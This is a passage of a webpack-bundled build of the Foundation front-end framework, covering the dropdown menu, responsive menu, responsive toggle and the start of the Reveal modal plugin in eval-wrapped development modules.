_this._hide(close);\n\n e.preventDefault(); //}\n };\n\n var functions = {\n open: openSub,\n close: function close() {\n _this._hide(_this.$element);\n\n _this.$menuItems.eq(0).children('a').focus(); // focus to first element\n\n\n e.preventDefault();\n },\n handled: function handled() {\n e.stopImmediatePropagation();\n }\n };\n\n if (isTab) {\n if (_this._isVertical()) {\n // vertical menu\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n down: nextSibling,\n up: prevSibling,\n next: closeSub,\n previous: openSub\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n down: nextSibling,\n up: prevSibling,\n next: openSub,\n previous: closeSub\n });\n }\n } else {\n // horizontal menu\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: prevSibling,\n previous: nextSibling,\n down: openSub,\n up: closeSub\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: nextSibling,\n previous: prevSibling,\n down: openSub,\n up: closeSub\n });\n }\n }\n } else {\n // not tabs -> one sub\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: closeSub,\n previous: openSub,\n down: nextSibling,\n up: prevSibling\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: openSub,\n previous: closeSub,\n down: nextSibling,\n up: prevSibling\n });\n }\n }\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__[\"Keyboard\"].handleKey(e, 'DropdownMenu', functions);\n });\n }\n /**\n * Adds an event handler to the body to close any dropdowns on a click.\n * @function\n * @private\n */\n\n }, {\n key: \"_addBodyHandler\",\n value: function _addBodyHandler() {\n var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body),\n _this = this;\n\n $body.off('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu').on('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu', function (e) {\n var $link = _this.$element.find(e.target);\n\n if ($link.length) {\n return;\n }\n\n _this._hide();\n\n $body.off('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu');\n });\n }\n /**\n * Opens a dropdown pane, and checks for collisions first.\n * @param {jQuery} $sub - ul element that is a submenu to show\n * @function\n * @private\n * @fires Dropdownmenu#show\n */\n\n }, {\n key: \"_show\",\n value: function _show($sub) {\n var idx = this.$tabs.index(this.$tabs.filter(function (i, el) {\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()(el).find($sub).length > 0;\n }));\n var $sibs = $sub.parent('li.is-dropdown-submenu-parent').siblings('li.is-dropdown-submenu-parent');\n\n this._hide($sibs, idx);\n\n $sub.css('visibility', 'hidden').addClass('js-dropdown-active').parent('li.is-dropdown-submenu-parent').addClass('is-active');\n var clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__[\"Box\"].ImNotTouchingYou($sub, null, true);\n\n if (!clear) {\n var oldClass = this.options.alignment === 'left' ? '-right' : '-left',\n $parentLi = $sub.parent('.is-dropdown-submenu-parent');\n $parentLi.removeClass(\"opens\".concat(oldClass)).addClass(\"opens-\".concat(this.options.alignment));\n clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__[\"Box\"].ImNotTouchingYou($sub, null, true);\n\n if (!clear) {\n $parentLi.removeClass(\"opens-\".concat(this.options.alignment)).addClass('opens-inner');\n }\n\n this.changed = true;\n }\n\n $sub.css('visibility', '');\n\n if (this.options.closeOnClick) {\n this._addBodyHandler();\n }\n /**\n * Fires when the new dropdown pane is visible.\n * @event Dropdownmenu#show\n */\n\n\n this.$element.trigger('show.zf.dropdownmenu', [$sub]);\n }\n /**\n * Hides a single, currently open dropdown pane, if passed a parameter, otherwise, hides everything.\n * @function\n * @param {jQuery} $elem - element with a submenu to hide\n * @param {Number} idx - index of the $tabs collection to hide\n * @private\n */\n\n }, {\n key: \"_hide\",\n value: function _hide($elem, idx) {\n var $toClose;\n\n if ($elem && $elem.length) {\n $toClose = $elem;\n } else if (typeof idx !== 'undefined') {\n $toClose = this.$tabs.not(function (i, el) {\n return i === idx;\n });\n } else {\n $toClose = this.$element;\n }\n\n var somethingToClose = $toClose.hasClass('is-active') || $toClose.find('.is-active').length > 0;\n\n if (somethingToClose) {\n $toClose.find('li.is-active').add($toClose).attr({\n 'data-is-click': false\n }).removeClass('is-active');\n $toClose.find('ul.js-dropdown-active').removeClass('js-dropdown-active');\n\n if (this.changed || $toClose.find('opens-inner').length) {\n var oldClass = this.options.alignment === 'left' ? 'right' : 'left';\n $toClose.find('li.is-dropdown-submenu-parent').add($toClose).removeClass(\"opens-inner opens-\".concat(this.options.alignment)).addClass(\"opens-\".concat(oldClass));\n this.changed = false;\n }\n /**\n * Fires when the open menus are closed.\n * @event Dropdownmenu#hide\n */\n\n\n this.$element.trigger('hide.zf.dropdownmenu', [$toClose]);\n }\n }\n /**\n * Destroys the plugin.\n * @function\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n this.$menuItems.off('.zf.dropdownmenu').removeAttr('data-is-click').removeClass('is-right-arrow is-left-arrow is-down-arrow opens-right opens-left opens-inner');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body).off('.zf.dropdownmenu');\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__[\"Nest\"].Burn(this.$element, 'dropdown');\n }\n }]);\n\n return DropdownMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__[\"Plugin\"]);\n/**\n * Default settings for plugin\n */\n\n\nDropdownMenu.defaults = {\n /**\n * Disallows hover events from opening submenus\n * @option\n * @type {boolean}\n * @default false\n */\n disableHover: false,\n\n /**\n * Allow a submenu to automatically close on a mouseleave event, if not clicked open.\n * @option\n * @type {boolean}\n * @default true\n */\n autoclose: true,\n\n /**\n * Amount of time to delay opening a submenu on hover event.\n * @option\n * @type {number}\n * @default 50\n */\n hoverDelay: 50,\n\n /**\n * Allow a submenu to open/remain open on parent click event. Allows cursor to move away from menu.\n * @option\n * @type {boolean}\n * @default false\n */\n clickOpen: false,\n\n /**\n * Amount of time to delay closing a submenu on a mouseleave event.\n * @option\n * @type {number}\n * @default 500\n */\n closingTime: 500,\n\n /**\n * Position of the menu relative to what direction the submenus should open. Handled by JS. Can be `'auto'`, `'left'` or `'right'`.\n * @option\n * @type {string}\n * @default 'auto'\n */\n alignment: 'auto',\n\n /**\n * Allow clicks on the body to close any open submenus.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClick: true,\n\n /**\n * Allow clicks on leaf anchor links to close any open submenus.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClickInside: true,\n\n /**\n * Class applied to vertical oriented menus, Foundation default is `vertical`. Update this if using your own class.\n * @option\n * @type {string}\n * @default 'vertical'\n */\n verticalClass: 'vertical',\n\n /**\n * Class applied to right-side oriented menus, Foundation default is `align-right`. Update this if using your own class.\n * @option\n * @type {string}\n * @default 'align-right'\n */\n rightClass: 'align-right',\n\n /**\n * Boolean to force overide the clicking of links to perform default action, on second touch event for mobile.\n * @option\n * @type {boolean}\n * @default true\n */\n forceFollow: true\n};\n\n\n//# sourceURL=webpack:///./js/foundation.dropdownMenu.js?")},"./js/foundation.responsiveMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ResponsiveMenu", function() { return ResponsiveMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.drilldown */ "./js/foundation.drilldown.js");\n/* harmony import */ var _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.accordionMenu */ "./js/foundation.accordionMenu.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n\nvar MenuPlugins = {\n dropdown: {\n cssClass: \'dropdown\',\n plugin: _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__["DropdownMenu"]\n },\n drilldown: {\n cssClass: \'drilldown\',\n plugin: _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__["Drilldown"]\n },\n accordion: {\n cssClass: \'accordion-menu\',\n plugin: _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__["AccordionMenu"]\n }\n}; // import "foundation.util.triggers.js";\n\n/**\n * ResponsiveMenu module.\n * @module foundation.responsiveMenu\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n */\n\nvar ResponsiveMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(ResponsiveMenu, _Plugin);\n\n function ResponsiveMenu() {\n _classCallCheck(this, ResponsiveMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(ResponsiveMenu).apply(this, arguments));\n }\n\n _createClass(ResponsiveMenu, [{\n key: "_setup",\n\n /**\n * Creates a new instance of a responsive menu.\n * @class\n * @name ResponsiveMenu\n * @fires ResponsiveMenu#init\n * @param {jQuery} element - jQuery object to make into a dropdown menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n this.rules = this.$element.data(\'responsive-menu\');\n this.currentMq = null;\n this.currentPlugin = null;\n this.className = \'ResponsiveMenu\'; // ie9 back compat\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the Menu by parsing the classes from the \'data-ResponsiveMenu\' attribute on the element.\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"]._init(); // The first time an Interchange plugin is initialized, this.rules is converted from a string of "classes" to an object of rules\n\n\n if (typeof this.rules === \'string\') {\n var rulesTree = {}; // Parse rules from "classes" pulled from data attribute\n\n var rules = this.rules.split(\' \'); // Iterate through every rule found\n\n for (var i = 0; i < rules.length; i++) {\n var rule = rules[i].split(\'-\');\n var ruleSize = rule.length > 1 ? rule[0] : \'small\';\n var rulePlugin = rule.length > 1 ? rule[1] : rule[0];\n\n if (MenuPlugins[rulePlugin] !== null) {\n rulesTree[ruleSize] = MenuPlugins[rulePlugin];\n }\n }\n\n this.rules = rulesTree;\n }\n\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default.a.isEmptyObject(this.rules)) {\n this._checkMediaQueries();\n } // Add data-mutate since children may need it.\n\n\n this.$element.attr(\'data-mutate\', this.$element.attr(\'data-mutate\') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__["GetYoDigits"])(6, \'responsive-menu\'));\n }\n /**\n * Initializes events for the Menu.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n var _this = this;\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', function () {\n _this._checkMediaQueries();\n }); // $(window).on(\'resize.zf.ResponsiveMenu\', function() {\n // _this._checkMediaQueries();\n // });\n }\n /**\n * Checks the current screen width against available media queries. If the media query has changed, and the plugin needed has changed, the plugins will swap out.\n * @function\n * @private\n */\n\n }, {\n key: "_checkMediaQueries",\n value: function _checkMediaQueries() {\n var matchedMq,\n _this = this; // Iterate through each rule and find the last matching rule\n\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(this.rules, function (key) {\n if (_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(key)) {\n matchedMq = key;\n }\n }); // No match? No dice\n\n if (!matchedMq) return; // Plugin already initialized? We good\n\n if (this.currentPlugin instanceof this.rules[matchedMq].plugin) return; // Remove existing plugin-specific CSS classes\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(MenuPlugins, function (key, value) {\n _this.$element.removeClass(value.cssClass);\n }); // Add the CSS class for the new plugin\n\n this.$element.addClass(this.rules[matchedMq].cssClass); // Create an instance of the new plugin\n\n if (this.currentPlugin) this.currentPlugin.destroy();\n this.currentPlugin = new this.rules[matchedMq].plugin(this.$element, {});\n }\n /**\n * Destroys the instance of the current plugin on this element, as well as the window resize handler that switches the plugins out.\n * @function\n */\n\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.currentPlugin.destroy();\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'.zf.ResponsiveMenu\');\n }\n }]);\n\n return ResponsiveMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__["Plugin"]);\n\nResponsiveMenu.defaults = {};\n\n\n//# sourceURL=webpack:///./js/foundation.responsiveMenu.js?')},"./js/foundation.responsiveToggle.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ResponsiveToggle", function() { return ResponsiveToggle; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n/**\n * ResponsiveToggle module.\n * @module foundation.responsiveToggle\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion\n */\n\nvar ResponsiveToggle =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(ResponsiveToggle, _Plugin);\n\n function ResponsiveToggle() {\n _classCallCheck(this, ResponsiveToggle);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(ResponsiveToggle).apply(this, arguments));\n }\n\n _createClass(ResponsiveToggle, [{\n key: "_setup",\n\n /**\n * Creates a new instance of Tab Bar.\n * @class\n * @name ResponsiveToggle\n * @fires ResponsiveToggle#init\n * @param {jQuery} element - jQuery object to attach tab bar functionality to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, ResponsiveToggle.defaults, this.$element.data(), options);\n this.className = \'ResponsiveToggle\'; // ie9 back compat\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the tab bar by finding the target element, toggling element, and running update().\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"]._init();\n\n var targetID = this.$element.data(\'responsive-toggle\');\n\n if (!targetID) {\n console.error(\'Your tab bar needs an ID of a Menu as the value of data-tab-bar.\');\n }\n\n this.$targetMenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()("#".concat(targetID));\n this.$toggler = this.$element.find(\'[data-toggle]\').filter(function () {\n var target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data(\'toggle\');\n return target === targetID || target === "";\n });\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, this.options, this.$targetMenu.data()); // If they were set, parse the animation classes\n\n if (this.options.animate) {\n var input = this.options.animate.split(\' \');\n this.animationIn = input[0];\n this.animationOut = input[1] || null;\n }\n\n this._update();\n }\n /**\n * Adds necessary event handlers for the tab bar to work.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n var _this = this;\n\n this._updateMqHandler = this._update.bind(this);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', this._updateMqHandler);\n this.$toggler.on(\'click.zf.responsiveToggle\', this.toggleMenu.bind(this));\n }\n /**\n * Checks the current media query to determine if the tab bar should be visible or hidden.\n * @function\n * @private\n */\n\n }, {\n key: "_update",\n value: function _update() {\n // Mobile\n if (!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(this.options.hideFor)) {\n this.$element.show();\n this.$targetMenu.hide();\n } // Desktop\n else {\n this.$element.hide();\n this.$targetMenu.show();\n }\n }\n /**\n * Toggles the element attached to the tab bar. The toggle only happens if the screen is small enough to allow it.\n * @function\n * @fires ResponsiveToggle#toggled\n */\n\n }, {\n key: "toggleMenu",\n value: function toggleMenu() {\n var _this2 = this;\n\n if (!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(this.options.hideFor)) {\n /**\n * Fires when the element attached to the tab bar toggles.\n * @event ResponsiveToggle#toggled\n */\n if (this.options.animate) {\n if (this.$targetMenu.is(\':hidden\')) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__["Motion"].animateIn(this.$targetMenu, this.animationIn, function () {\n _this2.$element.trigger(\'toggled.zf.responsiveToggle\');\n\n _this2.$targetMenu.find(\'[data-mutate]\').triggerHandler(\'mutateme.zf.trigger\');\n });\n } else {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__["Motion"].animateOut(this.$targetMenu, this.animationOut, function () {\n _this2.$element.trigger(\'toggled.zf.responsiveToggle\');\n });\n }\n } else {\n this.$targetMenu.toggle(0);\n this.$targetMenu.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n this.$element.trigger(\'toggled.zf.responsiveToggle\');\n }\n }\n }\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.$element.off(\'.zf.responsiveToggle\');\n this.$toggler.off(\'.zf.responsiveToggle\');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'changed.zf.mediaquery\', this._updateMqHandler);\n }\n }]);\n\n return ResponsiveToggle;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__["Plugin"]);\n\nResponsiveToggle.defaults = {\n /**\n * The breakpoint after which the menu is always shown, and the tab bar is hidden.\n * @option\n * @type {string}\n * @default \'medium\'\n */\n hideFor: \'medium\',\n\n /**\n * To decide if the toggle should be animated or not.\n * @option\n * @type {boolean}\n * @default false\n */\n animate: false\n};\n\n\n//# sourceURL=webpack:///./js/foundation.responsiveToggle.js?')},"./js/foundation.reveal.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Reveal\", function() { return Reveal; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.util.triggers */ \"./js/foundation.util.triggers.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n\n/**\n * Reveal module.\n * @module foundation.reveal\n * @requires foundation.util.keyboard\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion if using animations\n */\n\nvar Reveal =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Reveal, _Plugin);\n\n function Reveal() {\n _classCallCheck(this, Reveal);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Reveal).apply(this, arguments));\n }\n\n _createClass(Reveal, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of Reveal.\n * @class\n * @name Reveal\n * @param {jQuery} element - jQuery object to use for the modal.\n * @param {Object} options - optional parameters.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Reveal.defaults, this.$element.data(), options);\n this.className = 'Reveal'; // ie9 back compat\n\n this._init(); // Triggers init is idempotent, just need to make sure it is initialized\n\n\n _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__[\"Triggers\"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].register('Reveal', {\n 'ESCAPE': 'close'\n });\n }\n /**\n * Initializes the modal by adding the overlay and close buttons, (if selected).\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n var _this2 = this;\n\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__[\"MediaQuery\"]._init();\n\n this.id = this.$element.attr('id');\n this.isActive = false;\n this.cached = {\n mq: _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__[\"MediaQuery\"].current\n };\n this.$anchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")).length ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")) : jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-toggle=\\\"\".concat(this.id, \"\\\"]\"));\n this.$anchor.attr({\n 'aria-controls': this.id,\n 'aria-haspopup': true,\n 'tabindex': 0\n });\n\n if (this.options.fullScreen || this.$element.hasClass('full')) {\n this.options.fullScreen = true;\n this.options.overlay = false;\n }\n\n if (this.options.overlay && !this.$overlay) {\n this.$overlay = this._makeOverlay(this.id);\n }\n\n this.$element.attr({\n 'role': 'dialog',\n 'aria-hidden': true,\n 'data-yeti-box': this.id,\n 'data-resize': this.id\n });\n\n if (this.$overlay) {\n this.$element.detach().appendTo(this.$overlay);\n } else {\n this.$element.detach().appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo));\n this.$element.addClass('without-overlay');\n }\n\n this._events();\n\n if (this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n this.onLoadListener = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"onLoad\"])(jquery__WEBPACK_IMPORTED_MODULE_0___default()(window), function () {\n return _this2.open();\n });\n }\n }\n /**\n * Creates an overlay div to display behind the modal.\n * @private\n */\n\n }, {\n key: \"_makeOverlay\",\n value: function 